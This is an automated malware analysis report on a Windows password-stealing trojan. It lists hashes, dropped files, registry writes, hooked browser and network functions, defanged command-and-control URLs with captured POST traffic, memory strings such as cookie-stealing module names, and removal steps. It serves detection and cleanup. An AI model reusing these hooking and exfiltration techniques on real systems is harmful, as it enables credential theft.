UDS:DangerousObject.Multi.Generic (Kaspersky), Gen:Variant.Zusy.93444 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, Sinowal.YR, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)Behaviour: Trojan-PSW, Trojan, Backdoor
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: a32a416dfab22e2ed2bc802318d45452
SHA1: 44e9b584b5fc7043236bbab0711d857a2f101990
SHA256: 86a886e58e7ab7f8f6579a3299542a3754a2324dcce5e82e96945636d2fef089
SSDeep: 6144:lATObicsp3ftNr3A3P dAfGQJ31NqIg6fxW0GixWn:lAT6ici3VNrw3KEhxfBpfxrxc
Size: 294912 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: ItsReadyApp
Created at: 2014-05-19 05:11:42
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan-PSW. Trojan program intended for stealing users passwords.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan-PSW creates the following process(es):
uqtu.exe:1344
%original file name%.exe:1800
The Trojan-PSW injects its code into the following process(es):
Explorer.EXE:840
File activity
The process %original file name%.exe:1800 makes changes in the file system.
The Trojan-PSW creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\tmp8bd1af1c.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Owhefe\uqtu.exe (294 bytes)
Registry activity
The process uqtu.exe:1344 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1E 7F A1 A0 7D 9A 9F ED B7 11 CE 57 31 D1 1B 97"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
The process %original file name%.exe:1800 makes changes in the system registry.
The Trojan-PSW creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7E F4 CB 94 85 0A 22 36 A2 08 80 61 AE 13 AD 29"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
Dropped PE files
MD5 | File path |
---|---|
cddb3ac6d4f0e6f52e15379f97d7800d | c:\Documents and Settings\"%CurrentUserName%"\Application Data\Owhefe\uqtu.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
The Trojan-PSW installs the following user-mode hooks in WINMM.dll:
PlaySoundW
The Trojan-PSW installs the following user-mode hooks in WININET.dll:
HttpEndRequestW
HttpEndRequestA
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetSetFilePointer
InternetQueryDataAvailable
HttpOpenRequestW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
HttpOpenRequestA
The Trojan-PSW installs the following user-mode hooks in CRYPT32.dll:
PFXImportCertStore
The Trojan-PSW installs the following user-mode hooks in USER32.dll:
SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC
The Trojan-PSW installs the following user-mode hooks in ADVAPI32.dll:
CreateProcessAsUserA
CreateProcessAsUserW
The Trojan-PSW installs the following user-mode hooks in WS2_32.dll:
WSASend
gethostbyname
send
closesocket
getaddrinfo
The Trojan-PSW installs the following user-mode hooks in kernel32.dll:
ExitProcess
GetFileAttributesExW
The Trojan-PSW installs the following user-mode hooks in ntdll.dll:
NtCreateThread
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Scan a system with an anti-rootkit tool.
- Terminate malicious process(es) (How to End a Process With the Task Manager):
uqtu.exe:1344
%original file name%.exe:1800 - Delete the original Trojan-PSW file.
- Delete or disinfect the following files created/modified by the Trojan-PSW:
%Documents and Settings%\%current user%\Local Settings\Temp\tmp8bd1af1c.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Owhefe\uqtu.exe (294 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: Jetico, Inc.
Product Name: Jetico, Inc. BCResident
Product Version: 2.11.8
Legal Copyright: Copyright (c) 1997-2011
Legal Trademarks:
Original Filename: BCResident.exe
Internal Name: BCResident
File Version: 2.11.8
File Description: BCResident
Comments:
Language: Language Neutral
Company Name: Jetico, Inc.Product Name: Jetico, Inc. BCResidentProduct Version: 2.11.8Legal Copyright: Copyright (c) 1997-2011Legal Trademarks: Original Filename: BCResident.exeInternal Name: BCResidentFile Version: 2.11.8File Description: BCResidentComments: Language: Language Neutral
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 54513 | 54784 | 4.60236 | 214c41583e0dcbf9dea9c0f6385fdacf |
.rdata | 61440 | 16194 | 16384 | 3.74368 | 38abc0e82822763f727c07d72ea2ab63 |
.ndata | 77824 | 21932 | 9216 | 4.09575 | 90561a91973a24b11b7c3627550ed08f |
.rsrc | 102400 | 212172 | 212480 | 4.79481 | fad0dbe48e65b826e0dd1d3e3200c6a9 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://87.236.102.249/stnxhje/file.php | |
hxxp://www.slangenhaken.nl/stnxhje/file.php |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
POST /stnxhje/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.slangenhaken.nl
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
..S.vs.......>.2.Z.g.N...N.....K.<I.......P.JN....K..../.A........m.1.s......Z..q[...0tQ?..$....H.....\.f....5.U1.\.Q*.
O. Fc.(.y.
HTTP/1.1 301 Moved Permanently
Date: Sun, 01 Jun 2014 05:14:37 GMT
Server: Apache/2
Location: hXXps://VVV.slangenhaken.nl/stnxhje/file.php
Content-Length: 323
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXps://VVV.slangenhaken.nl/stnxhje/file.php">here</a>.</p>.<hr>.<address>Apache/2 Server at VVV.slangenhaken.nl Port 80</address>.</body></html>...
POST /stnxhje/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: VVV.slangenhaken.nl
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache
..S.vs.......>.2.Z.g.N...N.....K.<I.......P.JN....K..../.A........m.1.s......Z..q[...0tQ?..$....H.....\.f....5.U1.\.Q*.
O. Fc.(.y.
HTTP/1.1 301 Moved Permanently
Date: Sun, 01 Jun 2014 05:14:36 GMT
Server: Apache/2
Location: hXXps://VVV.slangenhaken.nl/stnxhje/file.php
Content-Length: 323
Keep-Alive: timeout=1, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXps://VVV.slangenhaken.nl/stnxhje/file.php">here</a>.</p>.<hr>.<address>Apache/2 Server at VVV.slangenhaken.nl Port 80</address>.</body></html>...
Map
The Trojan-PSW connects to the servers at the folowing location(s):
Strings from Dumps
Explorer.EXE_840_rwx_01DC0000_0003B000:
.text
.text
`.data
`.data
.reloc
.reloc
%s, u %s %u u:u:u GMT
%s, u %s %u u:u:u GMT
HTTP/1.1
HTTP/1.1
HTTP/1.0
HTTP/1.0
http://
http://
; charset=%s
; charset=%s
HTTP/1.1 %u %s
HTTP/1.1 %u %s
Date: %s
Date: %s
Content-Length: %u
Content-Length: %u
Expires: %s
Expires: %s
Content-Type: %s%s
Content-Type: %s%s
ID: %s
ID: %s
value_%s
value_%s
value_%s_%s
value_%s_%s
%s = "%s";
%s = "%s";
update.exe
update.exe
config.bin
config.bin
PR_OpenTCPSocket
PR_OpenTCPSocket
cit_ffcookie.module
cit_ffcookie.module
cit_video.module
cit_video.module
F@[D].PcS=Y9
F@[D].PcS=Y9
%ds~U;MM
%ds~U;MM
userenv.dll
userenv.dll
del "%s"
del "%s"
if exist "%s" goto d
if exist "%s" goto d
del /F "%s"
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
urlmon.dll
cabinet.dll
cabinet.dll
http://xxxxxxxx.com/xxxx/xxxx.php
http://xxxxxxxx.com/xxxx/xxxx.php
%s%s%s
%s%s%s
gdiplus.dll
gdiplus.dll
GdiplusShutdown
GdiplusShutdown
ole32.dll
ole32.dll
gdi32.dll
gdi32.dll
6;:5;66"
6;:5;66"
,1;(,; = 1
,1;(,; = 1
<! 8="8"><pre>'472%9,{</pre><pre>F@ICTQ}cRTWAunO}mmts}NX~csgzn~)[jzyemer\]ika</pre><pre>8/3.xae4LOa</pre><pre>6 !26!1'1!</pre><pre>https://</pre><pre>HTTP/1.</pre><pre>facebook.com</pre><pre>Cookie: %s</pre><pre>Referer: %s</pre><pre>Accept: %s</pre><pre>Accept-Language: %s</pre><pre>Accept-Encoding: %s</pre><pre>_getFirefoxCookie</pre><pre>http://www.google.com/webhp</pre><pre>SSShD</pre><pre>SSShXe</pre><pre>SSShye</pre><pre>GetProcessHeap</pre><pre>CreatePipe</pre><pre>KERNEL32.dll</pre><pre>MsgWaitForMultipleObjects</pre><pre>OpenWindowStationW</pre><pre>GetProcessWindowStation</pre><pre>CreateWindowStationW</pre><pre>CloseWindowStation</pre><pre>SetProcessWindowStation</pre><pre>SetKeyboardState</pre><pre>ExitWindowsEx</pre><pre>GetKeyboardState</pre><pre>MapVirtualKeyW</pre><pre>GetKeyboardLayoutList</pre><pre>USER32.dll</pre><pre>RegCreateKeyExW</pre><pre>RegOpenKeyExW</pre><pre>RegCloseKey</pre><pre>RegCreateKeyW</pre><pre>RegEnumKeyW</pre><pre>RegQueryInfoKeyW</pre><pre>RegEnumKeyExW</pre><pre>ADVAPI32.dll</pre><pre>UrlUnescapeA</pre><pre>SHDeleteKeyW</pre><pre>PathIsURLW</pre><pre>SHLWAPI.dll</pre><pre>ShellExecuteW</pre><pre>SHELL32.dll</pre><pre>Secur32.dll</pre><pre>SetViewportOrgEx</pre><pre>GDI32.dll</pre><pre>WS2_32.dll</pre><pre>PFXImportCertStore</pre><pre>CertDeleteCertificateFromStore</pre><pre>CertOpenSystemStoreW</pre><pre>CertCloseStore</pre><pre>CertEnumCertificatesInStore</pre><pre>CertDuplicateCertificateContext</pre><pre>PFXExportCertStoreEx</pre><pre>CRYPT32.dll</pre><pre>HttpSendRequestExA</pre><pre>HttpQueryInfoA</pre><pre>HttpSendRequestExW</pre><pre>HttpSendRequestW</pre><pre>HttpOpenRequestA</pre><pre>HttpOpenRequestW</pre><pre>HttpEndRequestA</pre><pre>HttpSendRequestA</pre><pre>HttpEndRequestW</pre><pre>InternetCrackUrlA</pre><pre>HttpAddRequestHeadersW</pre><pre>GetUrlCacheEntryInfoW</pre><pre>HttpAddRequestHeadersA</pre><pre>WININET.dll</pre><pre>OLEAUT32.dll</pre><pre>NETAPI32.dll</pre><pre>VERSION.dll</pre><pre>WINMM.dll</pre><pre>PSSSSSSh</pre><pre>l.bSw</pre><pre>/.GSc</pre><pre>3$3*30383</pre><pre>6|7k7u7</pre><pre>9 :1:::@:</pre><pre>42>204:4</pre><pre>sXXXX</pre><pre>nspr4.dll</pre><pre>chrome.dll</pre><pre>\StringFileInfo\xx\%s</pre><pre>ntdll.dll</pre><pre>kernel32.dll</pre><pre>"%s" %s</pre><pre>/c "%s"</pre><pre>%sx.%s</pre><pre>%sx</pre><pre>SELECT * FROM %s</pre><pre>Company: %s</pre><pre>Product: %s</pre><pre>Version: %s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Uninstall</pre><pre>%u: %s | %s | %s</pre><pre>Global\XXX</pre><pre>SysShadow</pre><pre>Chrome</pre><pre>Firefox</pre><pre>%Documents and Settings%\%current user%\Application Data</pre><pre>{BFF5FDA4-C742-B43A-F8A6-8FFAF0EC7065}</pre><pre>%Documents and Settings%\%current user%\Application Data\Zayr\ebima.nuw</pre><pre>%Documents and Settings%\%current user%\Application Data\Zayr</pre><pre>ebima.nuw</pre><pre>Global\{298E4F81-7567-2241-F8A6-8FFAF0EC7065}</pre><pre>%Documents and Settings%\%current user%\Application Data\Ruhyub\guyf.dog</pre><pre>%Documents and Settings%\%current user%\Application Data\Ruhyub</pre><pre>guyf.dog</pre></!>